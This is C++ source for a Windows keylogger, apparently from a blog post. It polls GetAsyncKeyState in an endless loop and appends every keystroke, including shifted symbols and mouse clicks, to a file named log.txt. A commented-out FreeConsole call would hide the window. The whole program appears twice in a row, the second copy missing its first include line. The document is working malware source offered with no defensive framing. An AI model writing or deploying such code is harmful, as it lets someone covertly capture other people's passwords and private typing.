#include <iostream>
#include <Windows.h>
using namespace std;
int Save(int _key, char *file);
char* getCodeWithShift_key(int _key);
int main() {
//FreeConsole();
char i;
while (true) {
// Sleep(10);
for (i = 8; i <= 255; i++) {
if (GetAsyncKeyState(i) == -32767) {
Save(i, "log.txt");
}
// else if(GetAsyncKeyState(i)==-32768)cout<<GetAsyncKeyState(i)<<endl;
}
}
return 0;
}
int Save(int _key, char *file) {
cout << _key << endl;
//Sleep(10);
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
if (_key == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (_key == VK_BACK)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (_key == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (_key == VK_RETURN)
fprintf(OUTPUT_FILE, "%s", "[ENTER]");
else if (_key == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if(_key==VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if(_key==VK_MENU)
fprintf(OUTPUT_FILE, "%s", "[ALT]");
else if(_key==VK_CAPITAL)
fprintf(OUTPUT_FILE, "%s", "[CAPS LOCK]");
else if(_key>='A'&&_key<='Z' || _key>='a'&&_key<='z')
fprintf(OUTPUT_FILE, "%s", &_key);
else if(_key>='0'&&_key<='9')
fprintf(OUTPUT_FILE, "%s", getCodeWithShift_key(_key));
else if(_key==VK_LBUTTON)
fprintf(OUTPUT_FILE, "%s", "[LEFT MOUSE BUTTON]");
else if(_key==VK_RBUTTON)
fprintf(OUTPUT_FILE, "%s", "[RIGHT MOUSE BUTTON]");
else if(_key==VK_LWIN)
fprintf(OUTPUT_FILE, "%s", "[WINDOW BUTTON]");
else if(_key==VK_NUMPAD0)
fprintf(OUTPUT_FILE, "%s", "[NUM KEY 0]");
else if(_key==VK_OEM_3)
fprintf(OUTPUT_FILE, "%s", "`");
else fprintf(OUTPUT_FILE, "%s", &_key);
fclose(OUTPUT_FILE);
return 0;
}
char* getCodeWithShift_key(int _key){
switch(_key)
{
case 48:
if(GetAsyncKeyState(0x10))
return ")";
else
return "0";
case 49:
if(GetAsyncKeyState(0x10))
return "!";
else
return "1";
case 50:
if(GetAsyncKeyState(0x10))
return "@";
else
return "2";
case 51:
if(GetAsyncKeyState(0x10))
return "#";
else
return "3";
case 52:
if(GetAsyncKeyState(0x10))
return "$";
else
return "4";
case 53:
if(GetAsyncKeyState(0x10))
return "%";
else
return "5";
case 54:
if(GetAsyncKeyState(0x10))
return "^";
else
return "6";
case 55:
if(GetAsyncKeyState(0x10))
return "&";
else
return "7";
case 56:
if(GetAsyncKeyState(0x10))
return "*";
else
return "8";
case 57:
if(GetAsyncKeyState(0x10))
return "(";
else
return "9";
}
}
#include <Windows.h>
using namespace std;
int Save(int _key, char *file);
char* getCodeWithShift_key(int _key);
int main() {
//FreeConsole();
char i;
while (true) {
// Sleep(10);
for (i = 8; i <= 255; i++) {
if (GetAsyncKeyState(i) == -32767) {
Save(i, "log.txt");
}
// else if(GetAsyncKeyState(i)==-32768)cout<<GetAsyncKeyState(i)<<endl;
}
}
return 0;
}
int Save(int _key, char *file) {
cout << _key << endl;
//Sleep(10);
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
if (_key == VK_SHIFT)
fprintf(OUTPUT_FILE, "%s", "[SHIFT]");
else if (_key == VK_BACK)
fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]");
else if (_key == VK_TAB)
fprintf(OUTPUT_FILE, "%s", "[TAB]");
else if (_key == VK_RETURN)
fprintf(OUTPUT_FILE, "%s", "[ENTER]");
else if (_key == VK_ESCAPE)
fprintf(OUTPUT_FILE, "%s", "[ESCAPE]");
else if(_key==VK_CONTROL)
fprintf(OUTPUT_FILE, "%s", "[CONTROL]");
else if(_key==VK_MENU)
fprintf(OUTPUT_FILE, "%s", "[ALT]");
else if(_key==VK_CAPITAL)
fprintf(OUTPUT_FILE, "%s", "[CAPS LOCK]");
else if(_key>='A'&&_key<='Z' || _key>='a'&&_key<='z')
fprintf(OUTPUT_FILE, "%s", &_key);
else if(_key>='0'&&_key<='9')
fprintf(OUTPUT_FILE, "%s", getCodeWithShift_key(_key));
else if(_key==VK_LBUTTON)
fprintf(OUTPUT_FILE, "%s", "[LEFT MOUSE BUTTON]");
else if(_key==VK_RBUTTON)
fprintf(OUTPUT_FILE, "%s", "[RIGHT MOUSE BUTTON]");
else if(_key==VK_LWIN)
fprintf(OUTPUT_FILE, "%s", "[WINDOW BUTTON]");
else if(_key==VK_NUMPAD0)
fprintf(OUTPUT_FILE, "%s", "[NUM KEY 0]");
else if(_key==VK_OEM_3)
fprintf(OUTPUT_FILE, "%s", "`");
else fprintf(OUTPUT_FILE, "%s", &_key);
fclose(OUTPUT_FILE);
return 0;
}
char* getCodeWithShift_key(int _key){
switch(_key)
{
case 48:
if(GetAsyncKeyState(0x10))
return ")";
else
return "0";
case 49:
if(GetAsyncKeyState(0x10))
return "!";
else
return "1";
case 50:
if(GetAsyncKeyState(0x10))
return "@";
else
return "2";
case 51:
if(GetAsyncKeyState(0x10))
return "#";
else
return "3";
case 52:
if(GetAsyncKeyState(0x10))
return "$";
else
return "4";
case 53:
if(GetAsyncKeyState(0x10))
return "%";
else
return "5";
case 54:
if(GetAsyncKeyState(0x10))
return "^";
else
return "6";
case 55:
if(GetAsyncKeyState(0x10))
return "&";
else
return "7";
case 56:
if(GetAsyncKeyState(0x10))
return "*";
else
return "8";
case 57:
if(GetAsyncKeyState(0x10))
return "(";
else
return "9";
}
}
No comments:
Post a Comment